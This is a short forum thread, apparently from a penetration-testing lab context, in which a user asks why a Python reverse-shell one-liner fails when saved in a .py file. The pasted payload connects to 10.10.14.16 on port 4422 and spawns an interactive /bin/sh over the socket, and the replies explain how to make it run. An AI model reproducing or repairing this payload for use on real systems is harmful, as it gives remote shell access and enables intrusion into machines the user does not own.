I am trying to get this python shell to work but I keep getting error. Do you know why? Ive tried a few diffrent ways
python test.py
File “test.py”, line 1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.16”,4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
^
SyntaxError: invalid syntax
It looks like that your script is a bash script vs a python one (python -c should be run on the command line not in a .py file).
Try running the whole thing from the command line instead and see if that works (or try running the .py script without the “python -c” part).
kalitkd
3
remove the -c 'import socket,subprocess,os and at end make sure you have the commas “;”
not so [“/bin/sh”,“-i”]);’
but so
[“/bin/sh”,“-i”]);